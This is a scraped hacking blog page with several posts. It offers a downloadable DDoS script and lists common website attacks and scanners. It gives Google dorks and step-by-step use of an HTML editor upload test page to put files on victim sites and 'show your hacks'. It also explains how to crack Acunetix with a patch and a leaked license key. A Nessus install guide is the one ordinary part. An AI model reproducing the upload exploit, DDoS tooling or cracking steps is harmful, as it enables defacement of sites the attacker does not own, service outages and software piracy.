You can Download this script from bellow given link and upload it to free hosting website or upload to your won hacking website and after uploading it will look like bellow given image. 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT4T_ORF2SjEP9_I1T2B3JRQhTHdqFLHqIadS0gxfSG8ZAVj8ykz0hSoXfwRps6mT66irqD_QSoek_nsoqsp4HVckb9CS-WFU5NISv4wwo3JQ91pHxqO2z_ACaqGwcF_Wes7ssueIY-8mf/s1600/533613_470069249721626_1466215939_n.jpg" imageanchor="1"><img alt="Hulk Server DDOSer Script by Team Indishell" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT4T_ORF2SjEP9_I1T2B3JRQhTHdqFLHqIadS0gxfSG8ZAVj8ykz0hSoXfwRps6mT66irqD_QSoek_nsoqsp4HVckb9CS-WFU5NISv4wwo3JQ91pHxqO2z_ACaqGwcF_Wes7ssueIY-8mf/s320/533613_470069249721626_1466215939_n.jpg" /></a> 
 
Down Load Link 
<a href="http://www.mediafire.com/?sm373csw46cewe6">Download Hulk Server DDOSer Script by Team Indishell [php]</a>

Download Hulk Server DDOSer Script by Team Indishell [php]

Hey All I Have Some thing nice script for those who always in search of finding good tools for DDOS Attack. So Here is Hulk DDoser Script W...

How To Find Vulnerability On A Website : Web Vulnerability

As We All know website gets hacked due to vulnerabilities exist on that site so today i will be giving a brief article on finding Web Vulnerability 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHDNc7PG9cfGTL3B4JxM7C4XvLQNS9HoH204WDvwxwkdHaXWTCgeV7dJ-YDooaf2vhZcQ504ubGAcoR4WvsoSuF37ClC_v82qXrky92hPh_vpHMG6jY47RgF790Y_cE4Ye2AoUELYTfRbQ/s1600/cover.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHDNc7PG9cfGTL3B4JxM7C4XvLQNS9HoH204WDvwxwkdHaXWTCgeV7dJ-YDooaf2vhZcQ504ubGAcoR4WvsoSuF37ClC_v82qXrky92hPh_vpHMG6jY47RgF790Y_cE4Ye2AoUELYTfRbQ/s400/cover.jpg" width="555" /></a></div> 
Now a days Hackers are concentrating a lot of their efforts to find holes in a web application,And This Is the major reason Reason Why Thousands Of Website Getting hacked.If you are a website owner and having a High Page rank and High Traffic then there is a chance that you might be a victim of these Hackers. 
 
Few years back their existed no proper tools search for vulnerability, but now a days there are tons of tools available through which even a newbie can find a vulnerable site and start Hacking. 
<h2> 
Common Methods used for Website Hacking 
</h2>There are lots of methods that can be used to hack a website but most common ones are as follows: 
 
1.<a href="http://www.darksite.in/search/label/SQlinjection">SQL Injection</a> 
2.<a href="http://www.darksite.in/search/label/XSS%20Attack">XSS(Cross Site Scripting)</a> 
3.<a href="http://www.darksite.in/search/label/RTE%20Vulnerability">Remote File Inclusion(RFI)</a> 
4.<a href="http://www.darksite.in/search/label/Exploits">Remote File Upload Vulnerability (Exploits)</a> 
5.<a href="http://www.darksite.in/search/label/Website%20Hacking">Local File inclusion(LFI)</a> 
6.<a href="http://www.darksite.in/search/label/Hacking">DDOS attack</a> 
7.<a href="http://www.darksite.in/search/label/GoogleHacking">Google Dorks</a> 
 
And Many More See the Left side Category Box... 
 
I Have Putted My Effort And Written All These types of Attack On my Site With Deatil Tutorial few with examples Please Go Through It If You want to Be A Real Hacker. 
 
Now.. 
Some Of The Tools that are Mostly used By hacker to hack website Or find Vulnerability on A Website. 
<h2> 
Tools Used To Find Website Vulnerability By Hacker.</h2> 
Acunetix: 
 
Acunetix is one of my favorite tool to find a venerability in any web application It automatically checks your web applications for SQL Injection, XSS & all other web vulnerabilities. 
 
<a href="http://www.darksite.in/2012/06/crack-acunetix-web-vulnerability.html">Download Acunetix For Our link</a> 
 
Nessus: 
 
Nessus is the best unix venerability testing tool and among the best to run on windows. Key features of this software include Remote and local file securitychecks a client/server architecture with a GTK graphical interface etc. 
 
<a href="http://www.nessus.org/download">Download Nessus</a> 
 
Retina 
 
Retina is another Vulnerability assessment tool,It scans all the hosts on a network and report on any vulnerabilities found. 
 
<a href="http://www.eeye.com/Downloads/Trial-Software/Retina-Network-Security- Scanner.aspx">Download Retina</a> 
 
 
Metasploit Framework : 
 
The Metasploit Framework is the open source penetration testing framework with the world's largest database of public and tested exploits. 
 
<a href="http://www.metasploit.com/releases/framework-3.2.exe">Download Metasploit(For Windows users)</a> 
 
<a href="http://www.metasploit.com/releases/framework-3.2.tar.gz">Download Metaspolit(For Linux users)</a> 
 
Please Do Share+Likes+comments 
 
Thanks For Visiting Keep Learning Keep Hacking :D ..happy Hack..and Please 
Don't Forget to comments Because Your Comments Plays Major Role in Encouraging Me To write New Post on Hacking Do Write Feed Back On The Website Humble Request To all 
Keep Visiting.

How To Find Vulnerability On A Website : Web Vulnerability

As We All know website gets hacked due to vulnerabilities exist on that site so today i will be giving a brief article on finding Web Vulne...

Crack Acunetix Web Vulnerability Scanner 8 with Ollydbg and Peexplorer

Previously i have already posted an article on <a href="http://www.darksite.in/2012/04/acunetix-web-vulnerability-scanner.html">ACUNETIX WEB VULNERABILITY SCANNER VERSION 8 + PATCH (CRACK) FULL VERSION</a> 
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifbLIAv99vzMTdabY9V2QlFQEgPh2xJBDXci9pOms0B90HgWe8ppAtS4rUbEsjyqdZiCk0bmO_hsFRBogQmD0dUotOve7e451OCLdFK8EroLCAtQFtss5kqud7holrDMdtcYg5GoRVIdLU/s1600/Capture.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifbLIAv99vzMTdabY9V2QlFQEgPh2xJBDXci9pOms0B90HgWe8ppAtS4rUbEsjyqdZiCk0bmO_hsFRBogQmD0dUotOve7e451OCLdFK8EroLCAtQFtss5kqud7holrDMdtcYg5GoRVIdLU/s320/Capture.png" width="320" /></a> 
 
But as dayz progresses many people able to crack that one and got full version but on the other hand 
many people also reply me or comments me that its not working anymore ..so i have decided to put one more 
way to get full version of Acunetix Web Vulnerability Scanner 8 by cracking method. 
 
Now here is the video tutorial that will help you in getting full version of Acunetix Web scanner 8. 
 
Source:HF 
 
I am just sharing this video(special TNX to azma and AoRE), very useful for me to learn. 
It is only for learning purpose! 
Only Video Download: 
<a href="http://www.mediafire.com/?1qj60n58ni5k285">http://www.mediafire.com/?1qj60n58ni5k285</a> 
 
If you want to try, this is the Official Website link where you can download Acunetix: 
 
<a href="http://www.acunetix.com/download/fullver8">http://www.acunetix.com/download/fullver8</a> 
 
User: acunetixwvsfullv8 Pass: nFu834!29bg_S2q 
 
Software used to crack acuentix in the video: OllyDBG and PEexplorer. 
 
You can also try the previous method that i have posted on the above given link<a href="http://www.darksite.in/2012/04/acunetix-web-vulnerability-scanner.html">ACUNETIX WEB VULNERABILITY SCANNER VERSION 8 + PATCH (CRACK) FULL VERSION</a> if it works then its fine or else go through this video tutorial that will also work. 
 
Thanks For visiting keep learning keep sharing :).

Crack Acunetix Web Vulnerability Scanner 8 with Ollydbg and Peexplorer

Previously i have already posted an article on ACUNETIX WEB VULNERABILITY SCANNER VERSION 8 + PATCH (CRACK) FULL VERSION But as dayz prog...

Html editor Remote File Upload vulnerability on websites

<h2>Html editor File Upload vulnerability 
</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk48CI_fak4ZTeedgGHZORhfKJPmP2mdHckbex-ONYOQuq_vP5KY5NJdSNAYntJHM1siTLFSTEO5HCkGbDiEe8wN3YeUztCUnnhbOK2g-oCZHFMoLBHPV2eQcl_sgPINoJvxyJBGRLzlxP/s1600/another+file+upload+exploit+almas.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk48CI_fak4ZTeedgGHZORhfKJPmP2mdHckbex-ONYOQuq_vP5KY5NJdSNAYntJHM1siTLFSTEO5HCkGbDiEe8wN3YeUztCUnnhbOK2g-oCZHFMoLBHPV2eQcl_sgPINoJvxyJBGRLzlxP/s400/another+file+upload+exploit+almas.jpg" width="400" /></a></div> 
 
Google Dork : inurl:/HTMLEditor/editor/ 
or "inurl:/HTMLEditor/editor//filemanager/" 
or "inurl:/HTMLEditor/editor//filemanager//connectors/" 
 
 
Exploit : http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html 
or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html 
 
 
Go here : 
 
http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html 
or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html 
 
change connectors into PhP (Like FCKeditor) and upload Your file 
 
 
supported files : .TXT and .JPG in some site you can upload .html and .php too 
 
 
to view you file goto : http://website/PowerCMS%20folder/files/your file here 
or http://website/patch//PowerCMS%20folder/files/your file here 
 
Enjoy the vulnerability and upload you page to show others your hacks.

Html editor Remote File Upload vulnerability on websites

Html editor File Upload vulnerability Google Dork : inurl:/HTMLEditor/editor/ or " inurl:/HTMLEditor/editor//filemanager/ " o...

How to Install and Configure Best Network scanning tool Nessus - Scan Network Vulnerabilities In Backtrack

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB-lDG2oXHoNZlNO4F9_hKe3qX5ustBIWmuXtQorznuJn_XcxGInyZalshCAmB1sun2VdQocv3HXXde7-LRinz3fLgtePfoQMqlTCUPlqXQSuIn9wMpDbshQA98MwIxW_XcM7OchZb1d1L/s1600/nessus.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB-lDG2oXHoNZlNO4F9_hKe3qX5ustBIWmuXtQorznuJn_XcxGInyZalshCAmB1sun2VdQocv3HXXde7-LRinz3fLgtePfoQMqlTCUPlqXQSuIn9wMpDbshQA98MwIxW_XcM7OchZb1d1L/s400/nessus.png" width="540" /></a></div> 
Vulnerability scanning has always played a vital part to strengthen the security of the server at which your useful sites are hosted. It can also be used to scan the security of the computer which is connected to the internet. It basically scans the open ports and then checks for the vulnerabilities present in the services running on those ports.It is always useful for a server admin or else of any system to be aware of the weak points of the server security so that he may make it a hack proof system. That's why I decided to post a tutorial on this site to help you all scan for the weakness in accordance with the latest increasing available exploits.I suggest using backtrack as every thing is already cooked up there. In any other Linux you may have to install all the packages first. 
<h2>Installing Nessus in Linux:-</h2> 
Download the Nessus from the official site. Run the following commands under the terminal, If it's present in Downloads:- 
 
cd /root/Downloads (replace root with the username using which you have logged in)dpkg -i Nessus-4.4.1-ubuntu1010_i386.deb 
Note:- "Nessus-4.4.1-ubuntu1010_i386.deb" is the name of downloaded .deb file. It depends on your version and name of the downloaded nessus version. 
 
If you want it to be installed on any other system then kindly read this official PDF file to get further information. <a href="http://static.tenable.com/documentation/nessus_4.4_installation_guide.pdf">Download Nessus Installation Guide Darksite link</a> 
<h2>Registering and Setting up Nessus:-</h2> 
Lets start this part. 
<li>I am using "Backtrack 5 r1", So, here I shall go to (A little bit of further effort may tell you how to configure that in any other Linux, as its not much different. Except the menus might be different) Applications>Backtrack>Vulnerability Assessment>Vulnerability Scanners>Nessus>Nessus Register . 
</li> 
 
 
<li>Browser will popup and there it will give you choice whether to use nessus at home or at commercial level. For commercial use you have to purchase a license. So, I am assuming you want to use it at home. Thus select "Using Nessus at home" and next click agree at next page. 
</li> 
 
 
<li>There provide your email address and then login into your email account and there you have to verify it for nessus and get the activation code needed. Copy that code provided in email which is in the format of xxxx.xxxx.xxxx.xxxx.xxxx 
</li> 
 
 
<li>Open up the terminal and there write following command:- 
/opt/nessus/bin/nessus-fetch --register xxxx.xxxx.xxxx.xxxx.xxxx 
So, press enter, wait for nessus to fetch newest plugins to scan vulnerabilities and after that your nessus is registered and is ready to be used. Close the terminal. 
</li> 
 
 
<li>Now again to go the panel and Applications>Backtrack>Vulnerability Assessment>Vulnerability Scanners>Nessus>nessus user add. There terminal will popup and then write your username there (Any which you may like) and press enter and write down the password.(Password characters may not be shown not even dots. So, don't worry just write the password),If it asks to give admin privileges in terminal type "y" and press enter. If it asks for any rules then just press enter. And in end it will ask for confirmation type "y" and hit enter. 
</li> 
 
 
<li>Now, lets start nessus. Applications>Backtrack>Vulnerability Assessment>Vulnerability Scanners>Nessus>Nessus Start and click it. Terminal will popup showing starting Nessus. 
</li> 
 
 
<li>Open up Mozilla (In my case mozilla worked well than chrome. Flash plugin must be pre-installed in browser.). Navigate to :- https://127.0.0.1:8834 and if it asks for exeption just add one. And let the nessus load. After loading just put the username which you have selected in step number 5 earlier and also type the password chosen there. Hit login and you have a working nessus. 
</li> 
 
 
Further usage video will be posted soon. Just subscribe to us.

How to Install and Configure Best Network scanning tool Nessus - Scan Network Vulnerabilities In Backtrack

Vulnerability scanning has always played a vital part to strengthen the security of the server at which your useful sites are hosted. It ca...

Acunetix web vulnerability scanner Version 8 + PATCH (crack) full version

<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoy_A0eBCaGBo8nLKTHI5L0at9iBJUAFQO_oXi0fz7IeePbJSR7sJxQymcwZUp-QNWkkcQd-MEg68IYbvCuA8BhnWKZaFfpZPPKPGqFmP9NfAkeC_eO3NxkHTB2snAEamoxUp8gL7X7au1/s1600/Capture.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoy_A0eBCaGBo8nLKTHI5L0at9iBJUAFQO_oXi0fz7IeePbJSR7sJxQymcwZUp-QNWkkcQd-MEg68IYbvCuA8BhnWKZaFfpZPPKPGqFmP9NfAkeC_eO3NxkHTB2snAEamoxUp8gL7X7au1/s400/Capture.png" width="400" /></a></div> 
Here is the Worlds best and most popular Vulnerability scanner...full version download 
<h2> 
Steps to get full version of Acunetix web scanner v8 for free</h2> 
At First got to this link and download acunetix scanner 
<a href="http://www.acunetix.com/download/fullver8">http://www.acunetix.com/download/fullver8</a> 
 
ID: acunetixwvsfullv8 
Password: nFu834!29bg_S2q 
 
 
Then install it do not open it 
 
If opened Closed it :P 
 
Open patch and click on patch 
 
Now open Acunetix you will be asked for some details 
 
Enter below details 
License Key: 2e3b81463d2s56ae60dwe77fd54f7d60 
Name: Hmily/[LCG] 
ComPany: Www.52PoJie.Cn 
Email: Hmily@Acunetix.com 
Telephone: 110 
 
Patch Download Link: 
<a href="http://www.mediafire.com/?3jsa9n1sqjh3bce">here</a> 
 
<a href="http://www.darksite.in/2012/06/crack-acunetix-web-vulnerability.html">See the Updated method to crack Acunetix Web scanner If this tutorial does't work go for this</a> 
 
I am sure you will Thank Me 
:)

Acunetix web vulnerability scanner Version 8 + PATCH (crack) full version

Here is the Worlds best and most popular Vulnerability scanner...full version download Steps to get full version of Acunetix web scanner ...